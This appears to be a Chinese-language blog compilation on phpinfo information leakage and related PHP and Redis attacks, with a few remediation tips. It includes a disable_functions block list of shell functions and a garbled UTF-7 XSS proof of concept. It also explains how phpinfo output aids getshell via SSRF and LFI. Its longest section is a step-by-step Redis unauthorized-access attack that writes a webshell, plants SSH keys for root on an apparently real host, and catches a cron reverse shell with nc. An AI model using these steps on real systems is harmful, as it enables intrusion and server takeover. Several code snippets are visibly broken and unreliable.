本文目錄一覽:
- 1、發現phpinfo信息泄露漏洞 要怎麼處理
- 2、什麼是phpinfo xss跨站腳本攻擊漏洞?
- 3、什麼是目錄遍歷漏洞,什麼是phpinfo消息泄露,最好是詳細的通俗易懂的啊
- 4、談談從phpinfo中能獲取哪些值得注意的信息
- 5、Redis未授權漏洞利用方式
- 6、PHP中phpinfo函數有什麼用
發現phpinfo信息泄露漏洞 要怎麼處理
(1)通過修改服務器環境內php.ini文件,將「expose_php = On」修改成「expose_php = Off」然後重啟php即可。
(2)如果確實需要該測試信息,在測試時使用,測試完畢後將該文件刪除掉。
(3)若無需要可以將一些php的危險函數禁用,打開/etc/php.ini文件,查找到 disable_functions,添加需禁用的以下函數名:
phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,
proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,
symlink,popepassthru,stream_socket_server,fsocket,fsockopen
什麼是phpinfo xss跨站腳本攻擊漏洞?
php是一款被廣泛使用的編程語言,可以被嵌套在html里用做web程序開發。phpinfo()是用來顯示當前php環境的一個函數,許多站點和程序都會將phpinfo放在自己的站點上或者在程序里顯示,但是phpinfo里存在一些安全問題,導致精心構造數據就可以產生一個跨站腳本漏洞,可以被用來進行攻擊。
漏洞成因: phpinfo頁面對輸入的參數都做了詳細的過濾,但是沒有對輸出的進行charset的指定,而在一些瀏覽器里如IE7里,你可以讓它自動選擇編碼或者通過一個iframe頁面給它指定編碼,這樣就可以饒過phpinfo的過濾而產生一個跨站腳本漏洞。
漏洞來源:
漏洞利用: 利用代碼如下:
html
head
META HTTP-EQUIV=”CONTENT-TYPE” CONTENT=”text/html; charset=UTF-7″
/head
body
iframe src=”;+ADw-/SCRIPT+AD4-=1″
以上代碼在IE7+php 5.2.6測試成功。phpinfo頁面的xss甚至比其他頁面更加危險,因為如果有phpinfo的存在,惡意攻擊者可以利用phpinfo的輸出bypass如httponly和一些基礎認證。
漏洞影響: 影響所有版本的php和瀏覽器IE7
漏洞修補: 建議暫時刪除站點的phpinfo頁面避免被人利用。
什麼是目錄遍歷漏洞,什麼是phpinfo消息泄露,最好是詳細的通俗易懂的啊
目錄遍歷漏洞在國內外有許多不同的叫法,比如也可以叫做信息泄露漏洞,非授權文件包含漏洞.名稱雖然多,可他們卻有一個共同的成因,就是在程序中沒有過濾用戶輸入的../和./之類的目錄跳轉符,導致惡意用戶可以通過提交目錄跳轉來遍歷服務器上的任意文件,其危害可想而知.
談談從phpinfo中能獲取哪些值得注意的信息
一、絕對路徑(_SERVER[「SCRIPT_FILENAME」])
這個是最常用,也是最有效的一個辦法,找到phpinfo()頁面可以直接找到網站的絕對路徑,對於寫shell和信息搜集是必不可少的。
二、支持的程序
可以通過phpinfo()查看一些特殊的程序服務,比如redis、memcache、mysql、SMTP、curl等等如果服務器裝了redis或者memcache可以通過ssrf來getshell了,在discuz中都出現過此類問題。如果確定裝了redis或memcache的話,在沒有思路的情況下,可以着重找一下ssrf
三、泄漏真實ip(_SERVER[「SERVER_ADDR」]或SERVER_ADDR)
有時候通過phpinfo()泄漏的ip可以查查旁站、c段什麼的,直接無視cdn,百事不靈。
四、GOPHER
也算是ssrf一部分吧,或者說主要靠ssrf利用起來,如果支持gopher,ssrf便沒有壓力咯
五、fastcgi
查看是否開啟fastcgi和fastcgi的版本,可能導致解析漏洞、遠程命令執行、任意文件讀取等問題
六、泄漏緩存文件地址(_FILES[「file1」])
向phpinfo() post一個shell可以在_FILES[「file1」]中看到上傳的臨時文件,如果有個lfi,便可以直接getshell了。
Redis未授權漏洞利用方式
總結一下redis未授權拿shell:
redis-cli -h ip
Windows:
1.找網站絕對路徑
2.config set dir 絕對路徑根路徑
config get dir
config set dbfilename indexbak.php
set webshell “?php phpinfo();?”
save
Linux系統:
第一種:寫密鑰
第二種:寫crotab反彈shell
第三種:找絕對路徑寫webshell
1)本地生成秘鑰
root@GanDolf :~# ssh-keygen -t rsa
2)將公鑰寫入一個文件
root@GanDolf :~# cd /root/.ssh/
root@GanDolf :~/.ssh# (echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) foo.txt
3)連接redis寫入文件 root@GanDolf :~/.ssh# cat foo.txt | redis-cli -h 210.73.90.xxx -x set crackit
OK
root@GanDolf :~/.ssh# redis-cli -h 210.73.90.xxx
210.73.90.xxx:6379 config set dir /root/.ssh/
OK
(1.39s)
210.73.90.xxx:6379 CONFIG GET dir
4)連接服務器
root@GanDolf :~/.ssh# ssh -i id_rsa root@210.73.90.xxx
二、 利用方式不需要猜 web路徑,寫到cron裏面
然後本機nc -lvv 2333
一會兒shell就彈回來了。
修復建議:
1)修改默認端口
2)監聽本地端口
3)使用非root啟動,否則出現漏洞1,直接拿到root權限
4)修改配置文件,禁用相關命令
PHP中phpinfo函數有什麼用
1查看服務器配置是否支持php要求的運行環境
2查看php各項功能配置的打開關閉情況
3調試php配置變動及插件運行情況
原創文章,作者:QEYF,如若轉載,請註明出處:https://www.506064.com/zh-hk/n/139430.html